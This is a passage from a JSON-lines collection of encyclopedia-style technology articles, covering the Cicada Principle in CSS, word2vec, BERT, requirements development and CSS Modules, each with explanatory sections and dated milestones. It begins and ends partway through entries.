\n\n2003\n\nHMM is typically used when the number of states is small but one research team applies it to large scale web traffic analysis. This involves hundreds of states and tens of millions of observations.","meta":{"title":"Hidden Markov Model","href":"hidden-markov-model"}}
{"text":"# Cicada Principle\n\n## Summary\n\n\nPeriodical cicadas are insects of North America that mature into adulthood and emerge every 13 or 17 years. They come out together in their billions, thus making it difficult for predators to eat them all. What's interesting is their periods are **prime numbers**. This means that predators can't easily synchronize their own periods to that of the periodical cicadas. Another theory is that prime numbers prevent the emergence of hybrids from the cicadas with different periods. \n\nInspired by this natural phenomenon, now called Cicada Principle, web frontend designers have sought to use prime numbers to produce variations and patterns in their designs in a more efficient manner. Often CSS containing prime numbers are used to achieve this.\n\n## Discussion\n\n### Could you illustrate how prime numbers are useful in frontend design?\n\nLet's take two prime numbers 3 and 5. If we shade two rows based on these primes, we'll find that the shading will not fall on the same column until the 15th column. This is because 3 and 5 don't have any common factors other than 1. In fact, for this to happen, it's sufficient that the numbers are co-primes.\n\nIn the case of the periodical cicadas, the periods are 13 and 17. This means that it's only once in 13x17 = 221 years that the two different species will come out in the same year.\n\nFrontend designers who wish to create pseudorandom elements in their design need not actually generate random numbers or hardcode many variations. The use of large prime numbers will give them sufficient variations because patterns can be discerned only on a larger scale based on the multiples of those prime numbers.\n\n\n### Where and how can I apply the Cicada Principle in CSS?\n\n**Backgrounds** can be created without having any repeating patterns in them or showing gaps or seams between tiles. We can tile and overlap images of different widths, these widths having prime-numbered pixels. More efficiently, we can implement the same using CSS gradients. Michael Arestad has created interesting backgrounds by using prime numbers for background sizes and positions. \n\nIn general, Alex Walker proposed a \"stacking order model\", where many layers are stacked to create a background. The bottom layer can be small and repetitive since much of it will be obscured by higher layers. The topmost layer should have the largest dimension and also be thinly scattered (largest prime number in the group). It should also preferably not have eye-catching details. \n\nElement **borders**, including border radius, can be varied so that each element of a group gets a different border. These borders can also be animated for a mouse hover event. \n\nWe can use the principle for CSS **animations** too by having the durations as prime numbers, scaled if necessary by a suitable factor. \n\n\n### Could you illustrate an example of creating a CSS background based on Cicada Principle?\n\nLet's create a background by applying Cicada Principle to the `background-size`. By setting, the sizes to either 17px or 37px and then applying `linear-gradient` we get a repetitive pattern, which is not very interesting. \n\nWhen we combine both 17px and 37px widths, we obtain a more interesting background. However, this still shows some visual tiling. By adding another layer of width 53px, which is also a prime number, we get a background that's closer to what we want. \n\nTo create the gradients in the first place, we need to adjust the alpha values. Here too we can make use of prime numbers, with each layer getting a different alpha value for creating the gradients. \n\n## Milestones\n\nApr  \n2011\n\nAlex Walker reads about periodical cicadas and gets the idea to use prime numbers for generating pseudorandom background patterns. He uses three images of different prime-numbered widths: 29, 37 and 53 pixels. When these three are overlapped and tiled, the resulting background will not repeat for 29x37x53 = 56,869 pixels. The three images together take up less than 7kB in size. \n\nJun  \n2012\n\nEric Meyer uses CSS gradients for implementing the Cicada Principle for backgrounds. Compared to background images, this reduces requests to server and saves on download bandwidth. He calls these gradients **Cicadients**. \n\nJan  \n2015\n\nLea Verou produces CSS animations using the Cicada Principle. \n\nSep  \n2016\n\nCharlotte Jackson use Cicada Principle to create pseudorandom borders around images. She does this by adjusting the CSS `border-radius` using prime numbers in CSS selectors.","meta":{"title":"Cicada Principle","href":"cicada-principle"}}
{"text":"# Word2vec\n\n## Summary\n\n\nWord2vec is a set of algorithms to produce word embeddings, which are nothing more than vector representations of words. The idea of word2vec, and word embeddings in general, is to use the context of surrounding words and identify semantically similar words since they're likely to be in the same neighbourhood in vector space. \n\nWord2vec algorithms are based on shallow neural networks. Such a neural network might be optimizing for a well-defined task but the real goal is to produce word embeddings that can be used in NLP tasks. \n\nWord2vec was invented at Google in 2013. Word2vec simplified computation compared to previous word embedding models. Since then, it has been popularly adopted by others for many NLP tasks. Airbnb, Alibaba and Spotify have used it to power recommendation engines.\n\n## Discussion\n\n### What's the key insight that lead to the invention of word2vec?\n\nBefore word2vec, a feedforward neural network was used to jointly learn the language model and word embeddings. This network had input, projection, hidden and output layers. The complexity is dominated by the mapping from projection to hidden layers. For N (=10) previous words, D-dimensional vectors (500-2000 dimensions), and hidden layer size H (500-1000), complexity is N x D x H. \n\nA recurrent neural network model removes the projection layer. Hidden layer connects to itself with a time delay. Complexity is now H x H. \n\nWord2vec does away with the non-linear hidden layer that was a bottleneck in earlier models. There's a tradeoff. We lose precise representation but training becomes more efficient. This simpler model is used to learn word vectors. The task of learning a language model is considered separately using these word vectors. Finally, not just past words but also future words are considered for context. When input words are projected, their vectors are averaged at the projection layer, unlike earlier models. \n\nFurther simplification of the softmax layer computation, enabled word2vec to be trained on 30 billion words, a scale that was not possible with earlier models. \n\n\n### What are the main models that are part of word2vec?\n\nLet's use a vocabulary of V words, a context of C words, a dense representation of N-dimensional word vector, an embedding matrix W of dimensions VxN at the input and a context matrix W' of dimensions NxV at the output. \n\nWord2vec has two models for deriving word embeddings: \n\n    + **Continuous Bag-of-Words (CBOW)**: We take words surrounding a given word and try to predict the latter. Each word is a one-hot coded vector. Via an embedding matrix, this is transformed into a N-dimensional vector that's the average of C word vectors. From this vector, we compute probabilities for each word in the vocabulary. Word with highest probability is the predicted word.\n    + **Continuous Skip-gram**: We take one word and try to predict words that occur around it. At the output, we try to predict C different words.\n\n### Could you describe the details of how word2vec learns word embeddings?\n\nWord2vec uses a neural network model based on word-context pairs. With each training step, the weights are adjusted with the goal of minimizing the loss function, that is, minimize the error between predicted output and actual output. An iteration uses one word-context pair. Training on the entire input corpus may be considered one training epoch. \n\nConsider the skip-gram model. A sliding window around the current input word is used to predict the words within the window. Once this iteration adjusts the weights, the window slides to the next word in the corpus. \n\nWord2vec is not a deep learning technique. In fact, there are no hidden layers, although it's common to refer to the embedding layer as hidden layer, or projection layer. A typical pipeline involves selecting the vocabulary from a text corpus, sliding the window to select context, performing extra tasks to simplify softmax computation, and iterating through the neural network model. \n\n\n### Why is the softmax layer of word2vec considered computationally difficult?\n\nThe softmax layer treats the problem of selecting the most probable word as a multiclass classification problem. It computes the probability of each word being the actual word. Probabilities of all words should add up to 1. For skip-gram model, it does this for each contextual word. \n\nConsider a vocabulary of K words, and input and output vectors \\(v\\_w\\) and \\(v'\\_w\\) of word w. For skip-gram, softmax function is the probability of an output word given the input word, $$p(w\\_O|w\\_I) = \\frac{e^{{v'\\_{w\\_O}}^T\\,v\\_{w\\_I}}}{\\sum\\_{w=1}^{K} e^{{v'\\_w}^T\\,v\\_{w\\_I}}}$$\n\nWith a vocabulary of hundreds of thousands of words, computing the softmax probability for each word for each iteration is computationally expensive. **Hierarchical Softmax** solves this problem by doing computations on word parts and reusing the results. **Negative Sampling** is an alternative. It selects a few negative samples and computes softmax only for these and the actual outputs. Both these simplify computation without much loss of accuracy. \n\nSebastian Ruder gives a detailed explanation of different softmax approximation techniques. \n\n\n### What are other improvements to word2vec?\n\nWord2vec implementation has the ability to select a dynamic window size, uniformly sampled in range [1, k]. This has the effect of giving more weight to closer words. Smaller window sizes lead to similar *interchangeable* words. Larger window sizes lead to similar *related* words. \n\nWord2vec can also ignore rare words. In fact, rare words are discarded before context is set. This increases the effective window size for some words. In addition, we can subsample frequent words with the insight that being frequent, they are less informative. The net effect of this is that words that are far away could be topically similar and therefore captured in the embeddings. \n\n\n### What are some tips for those trying to use word2vec?\n\nDevelopers can read sample TensorFlow code for the CBOW model, sample NumPy code, or sample Gensim code.\n\nDesigned by Xin Rong, **wevi** is a useful tool to visualize how word2vec learns word embeddings. \n\nSebastian Ruder gives a number of tips. Use Skip-Gram Negative Sampling (SGNS) as a baseline. Use many negative samples for better results. Use context distribution smoothing before selecting negative samples so that frequent words are not sampled quite so frequently. SGNS is a better technique than CBOW. \n\n## Milestones\n\n2005\n\nMorin and Bengio come up with the idea of **hierarchical softmax**. A word is modelled as a composition of inner units, which are then arranged as a binary tree. Given a vocabulary of V words, probability of an output word is computed from softmax computation of inner units that lead to the word from the root of the tree. This reduces complexity from O(V) to O(log(V)). This idea becomes important later in word2vec models. In 2009, Mnih and Hinton explore different ways to construct the tree. \n\n2012\n\nGutmann and Hyvarinen introduce **Noise Contrastive Estimation (NCE)** as an alternative to hierarchical softmax. The basic idea is that a good model can differentiate data from noise using logistic regression. Mnih and Teh apply NCE to language modelling. This is similar to hinge loss proposed by Collobert and Weston in 2008 to rank data above noise. \n\nJan  \n2013\n\nAt Google, Mikolov et al. develop **word2vec** although this name refers to a software implementation rather than the models. They propose two models: continuous bag-of-words and continuous skip-gram. They improve on earlier state-of-the-art models by removing the hidden layer. They also make use of hierarchical softmax, thus making this a **log-linear model**. Softmax uses Huffman binary tree to represent the vocabulary. They note that this speeds up evaluation by 2X. \n\nOct  \n2013\n\nMikolov et al. improve on their earlier models by proposing **negative sampling**, which is a simplification of NCE. This is possible because NCE tries to maximize the log probability of the softmax whereas we are more interested in the word embeddings. Negative sampling is simpler and faster than hierarchical softmax. For small datasets, 5-20 negative samples may be required. For large datasets, 2-5 negative samples may be enough. \n\nJan  \n2019\n\nInspired by word2vec, some researchers produce **code embeddings**, vector representations of snippets of software code. Called **code2vec**, this work could enable us to apply neural networks to programming tasks such as automated code reviews and API discovery. This is just one example of many advances due to word2vec. Another example is **doc2vec** from 2014. \n\nJun  \n2019\n\nWord2vec is sequential due to strong dependencies across word-context pairs. Researchers show how word2vec can be trained on a GPU cluster by reducing dependency within a large training batch. Without loss of accuracy, they achieve 7.5 times acceleration using 16 GPUs. They also note that using Chainer framework, it's easy to implement CNN-based subword-level models.","meta":{"title":"Word2vec","href":"word2vec"}}
{"text":"# BERT (Language Model)\n\n## Summary\n\n\nNLP involves a number of distinct tasks each of which typically needs its own set of training data. Often each task has only a few thousand samples of labelled data, which is not adequate to train a good model. However, there's plenty of unlabelled data readily available online. This data can be used to train a baseline model that can be reused across NLP tasks. **Bidirectional Encoder Representations from Transformers (BERT)** is one such model. \n\nBERT is **pre-trained** using unlabelled data on language modelling tasks. For specific NLP tasks, the pretrained model can be **fine-tuned** for that task. Pre-trained BERT models, and their variants, have been open sourced. This makes it easier for NLP researchers to fine-tune BERT and quickly advance the state of the art for their tasks.\n\n## Discussion\n\n### What's the typical process for using BERT?\n\nBERT is an evolution of self-attention and transformer architecture that's becoming popular for neural network models. BERT is an encoder-only transformer. It's **deeply bidirectional**, meaning that it uses both left and right contexts in all layers.\n\nBERT involves two stages: **unsupervised pre-training** followed by **supervised task-specific fine-tuning**. Once a BERT model is pre-trained, it can be shared. This enables downstream tasks to do further training on a much smaller dataset. Different NLP tasks can thus benefit from a single shared baseline model. In some sense, this is similar to transfer learning that's been common in computer vision. \n\nWhile pre-training takes a few days on many Cloud TPUs, fine-tuning takes only 30 minutes on a single Cloud TPU. \n\nFor fine-tuning, one or more output layers are typically added to BERT. Likewise, input embeddings reflect the task. For question answering, an input sequence will contain the question and the answer while the model is trained to learn the start and end of answers. For classification, the `[CLS]` token at the output is fed into a classification layer. \n\n\n### Could you describe the tasks on which BERT is pre-trained?\n\nBERT is pre-trained on two tasks: \n\n    + **Masked Language Model (MLM)**: Given a sequence of tokens, some of them are masked. The objective is then to predict the masked tokens. Masking allows the model to be trained using both left and right contexts. Specifically, 15% of tokens are randomly chosen for masking. Of these, 80% are masked, 10% are replaced with a random word, 10% are retained.\n    + **Next Sentence Prediction (NSP)**: Given two sentences, the model predicts if the second one logically follows the first one. This task is used for capturing relationship between sentences since language modelling doesn't do this.Unlike word embeddings such as word2vec or GloVe, BERT produces contextualized embeddings. This means that BERT produces multiple embeddings of a word, each representing the context around the word. For example, word2vec embedding for the word 'bank' would not differentiate between the phrases \"bank account\" and \"bank of the river\" but BERT can tell the difference. \n\n\n### Which are some possible applications of BERT?\n\nIn October 2019, Google Search started using BERT to better understand the intent behind search queries. Another application of BERT is to recommend products based on a descriptive user request. Use of BERT for question answering on SQuAD and NQ datasets is well known. BERT has also been used for document retrieval. \n\nBERT has been used for aspect-based sentiment analysis. Xu et al. use BERT for both sentiment analysis and comprehending product reviews so that questions on those products can be answered automatically. \n\nAmong classification tasks, BERT has been used for fake news classification and sentence pair classification. \n\nTo aid teachers, BERT has been used to generate questions on grammar or vocabulary based on a news article. The model frames a question and presents some choices, only one of which is correct. \n\nBERT is still new and many novel applications might happen in future. It's possible to use BERT for quantitative trading. BERT can be applied to specific domains but we would need domain-specific pre-trained models. SciBERT and BioBERT are two examples. \n\n\n### Which are the essential parameters or technical details of BERT model?\n\nBERT pre-trained models are available in two sizes: \n\n    + **Base**: 12 layers, 768 hidden size, 12 self-attention heads, 110M parameters.\n    + **Large**: 24 layers, 1024 hidden size, 16 self-attention heads, 340M parameters.Each of the above took 4 days to train on 4 Cloud TPUs (Base) or 16 Cloud TPUs (Large). \n\nFor pre-training, a batch size of 256 sequences was used. Each sequence contained 512 tokens, implying 128K tokens per batch. The corpus for pre-training BERT had 3.3 billion words: 800M from BooksCorpus and 2500M from Wikipedia. This resulted in 40 epochs for 1M training steps. Dropout of 0.1 was used on all layers. GELU activation was used. \n\nFor fine-tuning, batch sizes of 16 or 32 are recommended. Only 2-4 epochs are needed for fine-tuning. Learning rate is also different from what's used for pre-training. Learning rate is also task specific. Dropout used was same as in pre-training. \n\n\n### How do I represent the input to BERT?\n\nBERT input embeddings is a sum of three parts: \n\n    + **Token**: Tokens are basically words. BERT uses a fixed vocabulary of about 30K tokens. To handle rare words or those not in token vocabulary, they're broken into sub-words and then mapped to tokens. The first token of a sequence is `[CLS]` that's useful for classification tasks. During MLM pre-training, some tokens are masked.\n    + **Segment/Sentence**: An input sequence of tokens can be a single segment or two segments. A segment is a contiguous span of text, not an actual linguistic sentence. Since two segments are packed into the same sequence, each segment has its own embedding. Each segment is terminated by `[SEP]` token. For example in question answering, question is the first segment and answer is the second.\n    + **Position**: This represents the token's position within the sequence.In practice, input embeddings can also contain an **input mask**. Since sequence length is fixed, the final sequence may involve padding. Input mask is used to differentiate between actual inputs and padding. \n\nBeginners may wish to look at a visual explanation of BERT input embeddings. \n\n\n### What are some variants of BERT?\n\nBERT has inspired many variants: RoBERTa, XLNet, MT-DNN, SpanBERT, VisualBERT, K-BERT, HUBERT, and more. Some variants attempt to compress the model: TinyBERT, ALERT, DistilBERT, and more. We describe a few of the variants that outperform BERT in many tasks:\n\n    + **RoBERTa**: Showed that the original BERT was undertrained. RoBERTa is trained longer, on more data; with bigger batches and longer sequences; without NSP; and dynamically changes the masking pattern.\n    + **ALBERT**: Uses parameter reduction techniques to yield a smaller model. To utilize inter-sentence coherence, ALBERT uses Sentence-Order Prediction (SOP) instead of NSP.\n    + **XLNet**: Doesn't do masking but uses permutation to capture bidirectional context. It combines the best of denoising autoencoding of BERT and autoregressive language modelling of Transformer-XL.\n    + **MT-DNN**: Uses BERT with additional multi-task training on NLU tasks. Cross-task data leads to regularization and more general representations.\n\n### Could you share some resources for developers to learn BERT?\n\nDevelopers can study the TensorFlow code for BERT. This follows the main paper by Devlin et al. (2019). This is also the source for downloading BERT pre-trained models.\n\nGoogle has shared TensorFlow code that fine-tunes BERT for Natural Questions.\n\nMcCormick and Ryan show how to fine-tune BERT in PyTorch. HuggingFace provides `transformers` Python package with implementations of BERT (and alternative models) in both PyTorch and TensorFlow. They also provide a script to convert a TensorFlow checkpoint to PyTorch. \n\nIBM has shared a deployable BERT model for question answering. An online demo of BERT is available from Pragnakalp Techlabs.\n\n## Milestones\n\nJun  \n2017\n\nVaswani et al. propose the **transformer** model in which they use a seq2seq model without RNN. The transformer model relies only on **self-attention**, although they're not the first to use self-attention. Self-attention is about attending to different tokens of the sequence. This would later prove to be the building block on which BERT is created. \n\nFeb  \n2018\n\nPeters et al. use many layers of bidirectional LSTM trained on a language model objective. The final embeddings are based on all the hidden layers. Thus, their embeddings are deeply contextual. They call it **Embeddings from Language Models (ELMo)**. They show that higher-level LSTM states capture semantics while lower-level states capture syntax. \n\nOct  \n2018\n\nDevlin et al. from Google publish on arXiv a paper titled *BERT: Pre-training of Deep Bidirectional Transformers for Language Understanding*. \n\nNov  \n2018\n\nGoogle **open sources pre-trained BERT models**, along with TensorFlow code that does this pre-training. These models are for English. Later in the month, Google releases **multilingual BERT** that supports about 100 different languages. The multilingual model preserves case. The model for Chinese is separate. It uses character-level tokenization. \n\nApr  \n2019\n\nNAACL announces the **best long paper award** to the BERT paper by Devlin et al. The annual NAACL conference itself is held in June. \n\nMay  \n2019\n\n**Whole Word Masking** is introduced in BERT. This can be enabled with the option `--do_whole_word_mask=True` during data generation. For example, when the word 'philammon' is split into sub-tokens 'phil', '##am' and '##mon', then either all three are masked or none at all. Overall masking rate is not affected. As before, each sub-token is predicted independent of the others. \n\nAug  \n2019\n\nSince a BERT model has 12 or 24 layers with multi-head attentions, using it in a real-time application is often a challenge. To make this practical for applications such conversational AI, NVIDIA releases **TensorRT optimizations** for BERT. In particular, the transformer layer has been optimized. Q, K and V are fused into a single tensor, thus locating them together in memory and improving model throughput. Latency is 2.2ms on T4 GPUs, well below the 10ms acceptable latency budget. \n\nOct  \n2019\n\n**Google Search** starts using BERT for 10% of English queries. Since BERT looks at the bidirectional context of words, it helps in understanding the intent behind search queries. Particularly for conversational queries, prepositions such as \"for\" and \"to\" matter. BERT's bidirectional self-attention mechanism takes these into account. Because of the model's complexity, for the first time, Search uses Cloud TPUs.","meta":{"title":"BERT (Language Model)","href":"bert-language-model"}}
{"text":"# Requirements Development\n\n## Summary\n\n\nIt's hard to build the right product without knowing why it's needed or what features are expected of it. Requirements Development provides answers to these questions. It involves many stakeholders: users, designers, developers, architects, and managers. It identifies user needs, studies technical feasibility, derives exact requirements, and validates those requirements.\n\nRequirements are various: business vs technical, functional vs non-functional, system vs component, hardware vs software, etc. Getting the requirements right mitigates risk, avoids costly rework, and improves customer satisfaction. \n\nTraditionally requirements were identified at the start of the project. In Agile or in any iterative process, requirements are developed continuously as features are added/updated or bugs need to be fixed. Requirements development is so important that Karl Weigers once said, \n\n> If you don't get the requirements right, it doesn't matter how well you do anything else.\n\n## Discussion\n\n### What's the requirements engineering process?\n\nRequirements Engineering (RE) has two parts:  \n\n    + **Requirements Development (RD)**: Requirements are developed by understanding customer needs and stakeholder expectations. These are refined and documented as formal specifications. Once specifications are validated, they set the baseline or the starting point for the architecture and the design phases of the project. Getting the requirements right is an iterative process consisting of elicitation, analysis, specification and validation. With each iteration, gaps and defects are addressed.\n    + **Requirements Management (RM)**: Requirements are rarely static. Changes to baseline requirements are common. These changes are managed with a clear process. Requirements are tied to project plans and schedules. Requirements are traced to design, code and tests.RD precedes RM when baseline requirements are defined. Thereafter, requirements are continuously refined even in later phases of the software development life cycle. \n\nIt's useful to clarify verification versus validation. **Requirements verification** checks that requirements are well formed. **Requirements validation** checks that requirements specify the right system fulfilling the needs of stakeholders. \n\n\n### What are the different types of requirements?\n\nFor architects and developers, the word \"requirements\" typically means product requirements. For project managers, it may instead mean project requirements. Project requirements will include development/testing infrastructure, tools, licenses, staff training, compliance, and more. \n\nProduct requirements can be defined at different levels. Business requirements capture why the product is being built. Managers and marketing folks are involved. Then business analysts come in to define user requirements from the perspective of users. Finally, functional requirements are those that the product should satisfy. Functional requirements are inputs to designers, developers and testers.  \n\nThen there are non-functional requirements such as usability, reliability, performance, safety, etc. Data requirements, interface requirements and design constraints are also non-functional requirements.  \n\nFor example, \"customer can pay for gas at the pump\" is a business requirement. User requirements include \"swipe credit card\" and \"request receipt\". Functional requirements include \"prompt user for card swipe\" and \"parse card's magnetic strip\". A non-functional requirement could be \"complete the entire payment procedure within 60 seconds\". \n\n\n### What's the expected output of requirements development?\n\n**Requirements specification** is the main output of requirements development. This may be a single document or organized as many documents: Business Requirements Specification, Software Requirements Specification (SRS), Stakeholder Requirements Specification, and System Requirements Specification. \n\nSpecifications may be captured as Microsoft Word or PDF documents. Alternatively, they're in spreadsheets, a database or in a custom requirements management tool. In any case, specifications must be well-organized, amenable to tracing and easily accessible by all stakeholders. \n\nDuring requirements analysis, various models, diagrams or tables might be employed. Use case diagrams, class diagrams, data flow diagrams, and state transition diagrams are examples. Specifications must link to these diagrams. \n\nFinally, let's understand **requirements versus specifications**. Requirements can be treated as *questions* and specifications as *answers*. We start with requirements that're rough statements. Through requirements analysis and validation, we refine these into formal specifications.  In another interpretation, specification is a structured collection of requirements.  \n\n\n### Could you explain requirements elicitation?\n\nRequirements elicitation identifies users, user groups and other stakeholders. It attempts to understand their real needs. This in turn sets the product scope.  \n\nIt's not as simple as asking users what they want. Henry Ford once said, \"If I had asked people what they wanted, they would have said faster horses.\" Empathy is needed to see things from the user perspective. Build a rough prototype. Observe how users interact with it. This will likely provide useful insights. \n\nInterviews and user focus groups can help. For diverse perspectives from all stakeholders, *Joint Application Design (JAD)* workshops could be organized. User stories, use cases (aka scenarios) and storyboards are some techniques to elicit requirements. These are effective since they dive into the level of actors, needs and interactions. \n\nSometimes implementations may be wrongly written down as requirements. Asking \"why\" questions to understand the context will reveal the hidden requirements. In fact, requirements elicitation is really about answering the questions what, why, and who. \n\nRequirements elicitation is in fact nuanced. To call it requirements capture or gathering is perhaps an oversimplification.  \n\n\n### Could you explain requirements analysis?\n\nRequirements analysis refines and adds details to the requirements identified via requirements elicitation. It's done iteratively until requirements can be clearly written down as specifications. High-level requirements are translated into technical product requirements at various levels. \n\nModelling is done, perhaps using Unified Modelling Language (UML). Visualizations help analyse the system from various perspectives. Some of these are data flow diagrams, entity relationship diagrams, state transition diagrams/tables, class diagrams, sequence diagrams, activity diagrams, process flow diagrams, decision trees, and event/response tables. Through analysis, incomplete, inconsistent or incorrect requirements can be uncovered.  \n\nDifferent aspects or viewpoints can be modelled: organizational, data, behavioural, domain, and non-functional requirements. \n\n\n### What roles do business rules play in requirements development?\n\nBusiness requirements frame the problem and the motivation for starting the project. On the other hand, business rules are policies, standards, practices, regulations or guidelines that are defined at the organizational level. Products are expected to adhere to these rules. Business rules affect use cases. System state, input, and user role are some factors that're used to define business rules. \n\nOne study identified five types of business rules: facts, constraints, action enablers, inferences and computations. Atomic business rules are better than one complex rule that combines multiple rules. \n\nConsider a firm making a payment gateway. Due to an ongoing litigation, there may be a business rule prohibiting integration with a specific bank. The firm and another bank may be part of the same parent company. For this bank, there may be a rule waiving transaction fees. Due to local regulations, there may be a rule that sets the maximum value of a transaction. Such rules must be translated into functional requirements that developers need to implement.\n\n\n### Could you give some tips for better requirements development?\n\nBiases can affect requirements development. Some of these are optimism bias, overconfidence bias, strategic misrepresentation, anchoring, and more. \n\nAvoid copying a competitor and jumping straight into implementing features. Likewise, avoid building the opposite of a failed product. Real failure here is skipping requirements engineering and assuming requirements can be transferred from one product to another. \n\nA product packed with features but solicits user feedback very late is risky. Don't be afraid to involve customers to test prototypes and clarify requirements. Early adopters often like to give feedback and ideas. \n\nAvoid \"gold plating\", that is, implementing features that developers thought would be nice to have. Delivering something that the user doesn't need wastes resources. It could also confuse users.\n\nDocument requirements clearly in the specifications. Each requirement must be unambiguous, validated, necessary, complete, consistent, feasible, traceable, verifiable and understandable. \n\n\n### What resources can help me learn more about requirements development?\n\n*Software Requirements* by Wiegers and Beatty (2013) is a good book to read. Other books from Wiegers include *Software Requirements Essentials* and *More About Software Requirements*. An older book is *The Requirements Engineering Handbook* by Young (2004). \n\nThe International Requirements Engineering Board (IREB) certifies engineers in the RE discipline. One study guide is *Requirements Engineering Fundamentals* by Pohl and Rupp (2015). \n\n*ISO/IEC/IEEE 29148:2018* is the main standard to read. Also worth reading are its related standards *ISO/IEC/IEEE 15288:2023* (system life cycle processes) and *ISO/IEC/IEEE 12207:2017* (software life cycle processes). \n\nPenzenstadler's video lectures on Requirements Engineering are available on YouTube. Coursera's Requirements Engineering: Secure Software Specifications Specialization has five courses in RE with security as a focus.\n\nCMU SEI and INCOSE are two useful sources for guides and white papers. Search for the keyword \"requirements\" at their websites. As an example, we mention INCOSE's Guide to Writing Requirements (2023).\n\n## Milestones\n\n1975\n\nBrooks in his book *Mythical Man-Month* writes about the need to **consult users** when writing system specifications. Some important ideas include user feedback, iterative development, separation of specification and design, and user manual as the external specification of the product. Until then, users weren't considered as important to either identifying requirements or writing specifications. \n\n1977\n\nRoss and Schoman propose the use of the term \"requirements definition\" over the more widely used but rather ill-defined term \"requirements analysis\". To them, **Requirements Definition** \"encompasses all aspects of system development prior to actual system design.\" It deals with three things: context analysis (why the system is needed), functional specification (what the system is to be), and design constraints (how the system is to be constructed within defined boundary conditions). Multiple viewpoints (technical, operational, economic) must be considered. \n\n1979\n\nThe TRW Defense and Space group proposes the **Software Requirements Engineering Methodology** to address project failures due to poor requirements. The early evolution of requirements engineering up to this point is from systems engineering. \n\n1983\n\nThe IEEE Std 729-1983 **defines the word \"requirement\"**. The definition encompasses user need, contractual necessity, and the starting point for system development. This definition is revised in 1990 to include the aspect of documentation. \n\n1984\n\nIEEE publishes **IEEE Std 830-1984** titled *IEEE Guide to Software Requirements Specifications*. This standard is updated in 1993 and 1998 as *IEEE Recommended Practice for Software Requirements Specifications*. Also in 1984, the European Space Agency describes the Waterfall Model of software development. They separate user requirements from software requirements. They also state that user requirements is an input to defining software requirements. \n\n1993\n\nThe first **IEEE Symposium on Requirements Engineering** is held. The following year, the **IEEE International Conference on Requirements Engineering** is held. In 2002, these two are merged into the **IEEE International Requirements Engineering Conference**, which is subsequently organized annually. \n\n1994\n\nPohl proposes a **three-dimensional framework** for RE. Requirements have to be approached in the dimensions of specification, representation and agreement. They also note five factors that influence the RE process: methods/methodologies, tools, social aspects, cognitive skills, and economical constraints. \n\n1995\n\nCarroll's *Scenario-Based Design* describes how **user scenarios** can be used in requirements analysis. The idea of using scenarios is also seen in the research of other authors about the same time. Other complementary analysis techniques such as state transition diagrams and entity relationship diagrams were invented in the late 1970s. \n\n2010\n\nJarke et al. point out that RE has changed over the last 30 years. RE is no longer about software alone. It's includes business development, software engineering and industrial design. Challenges include massive reuse, COTS components, system integration, vendor-led requirements, fluid design, short iterations, and distributed requirements. Some of these are reiterated by Jantunen et al. (2019) and noted earlier by Reifer (2000). \n\n2011\n\n**ISO/IEC/IEEE 29148** titled *Systems and software engineering — Life cycle processes — Requirements engineering* is published as an international standard. This replaces earlier standards IEEE 830-1998, IEEE 1233-1998, and IEEE 1362-1998. It's updated in 2018 as **ISO/IEC/IEEE 29148:2018**. \n\n2022\n\nHehn and Mendez propose an artefact-based model that combines design thinking and RE. Design thinking focuses on the user perspective and uses low-fidelity prototypes to understand the problem better. RE uses methodologies and tools to specify the requirements in greater detail. The two approaches complement each other. While design thinking is diverging and multi-disciplinary, RE is converging and technical.","meta":{"title":"Requirements Development","href":"requirements-development"}}
{"text":"# CSS Modules\n\n## Summary\n\n\nCSS was invented to style web pages. A typical web page contains many elements or components such as menus, buttons, input boxes, and so on. Styles defined in a CSS file are accessible to the entire web page in which that file is included. In other words, all style definitions have global scope. What if we want some styles to be visible only to one component of the page?\n\nCSS was defined to style documents, not UI components. The lack of modularity in CSS language makes it hard to maintain complex or legacy code. Developers are afraid to make code changes since it's easy to break something when CSS definitions are global. \n\nCSS Modules solves these problems by limiting the scope to components. CSS Modules is not an official standard. It's a community-led effort popularized by the ReactJS ecosystem.\n\n## Discussion\n\n### What are the problems that CSS Modules solve?\n\nThe problem of **global scope** is solved by CSS Modules since class names are local to the component. The same class name can be used in another component with different styling. Even though CSS as a standard has only global scope for names, CSS Modules leverages on tooling. Tools convert local names to globally unique names. \n\nDeeply nested CSS selectors result in what we call **high specificity**. This impacts performance. With CSS Modules, names are globally unique and locally specific. Hence, flat selectors are more than sufficient. Because CSS styles are now encapsulated within components, code becomes more **maintainable**. Code can be refactored. Dead code can be removed. \n\n\n### What are the essential features of CSS Modules?\n\nCSS Modules has the following features: \n\n    + **Local Scope**: Class names and animation names are locally scoped by default.\n    + **Global Scope**: Using `:global` switch, developer can choose to reuse some styles globally.\n    + **Composition**: A selector can extend styles from another, thus promoting reuse of styles within local scope. Composition can't be used for global scope. A selector can be composed from a selector in global scope or selectors in other files.\n    + **Naming**: Names should be in camelCase. Though traditional CSS naming convention is to use kebab-case, hyphens can cause problems when accessed within JavaScript. The use of camelCase simplifies the syntax.\n    + **Integration**: CSS Modules should have tooling support to compile CSS to a low-level format called *Interoperable CSS (ICSS)*. It should also work nicely with CSS processors (Less, Sass, PostCSS), bundlers (Webpack) and JS frameworks (Angular, React).\n\n### Could you explain how CSS Modules work?\n\nCSS as a language doesn't support local scopes. All names have global scope. To overcome this limitation, developers use tools to automatically transform local names to globally unique names. These names are generated by the CSS Modules compiler. The compiler also generates a JS object to map old names to new names. Therefore, developers can continue to use local names in their component code. \n\nFor example, let's take a UI component called \"Cat\". Its styles are in file \"Cat.css\" where `.meow` is defined. It's possible that the same class is used in another component, let's say, \"WildCat\". To avoid this name conflict, CSS Modules compiler makes each name unique. \n\nCSS Modules is flexible. It doesn't impose a specific naming convention. In our example, the new class name is `.cat_meow_j3xk`, where the module name is used as a prefix and a hash value is used as a suffix. The mapping from old to new names goes into a JS object. \n\n\n### What tools and plugins help with implementing CSS Modules?\n\nWebpack's *css-modules* or PostCSS's *postcss-modules* can be used to implement CSS Modules. PostCSS can be used along with task runners such as Gulp or Grunt. PostCSS is really using JS plugins to transform CSS. \n\nTo tell Webpack how to load CSS files, there are *css-loader* and *style-loader*. These may be enough to use CSS Modules with Angular, TypeScript and Bootstrap. \n\nWith Browserify, the plugin to use is *css-modulesify*. For use in Rails, there's *cssm-rails*. With JSPM, there's *jspm-loader-css-modules*. \n\nCSS Modules can be used within JS frameworks. For React, there's *react-css-modules* or *babel-plugin-react-css-modules*. CSS preprocessors such as SCSS can be used along with CSS Modules using *sass-loader*. Gatsby is another example where CSS Modules can be used. \n\nTo catch problems early, there's eslint-plugin-css-modules.\n\n\n### Are there alternatives to using CSS Modules?\n\nHistorically, CSS started as a single file for an entire app. Thanks to tooling such as 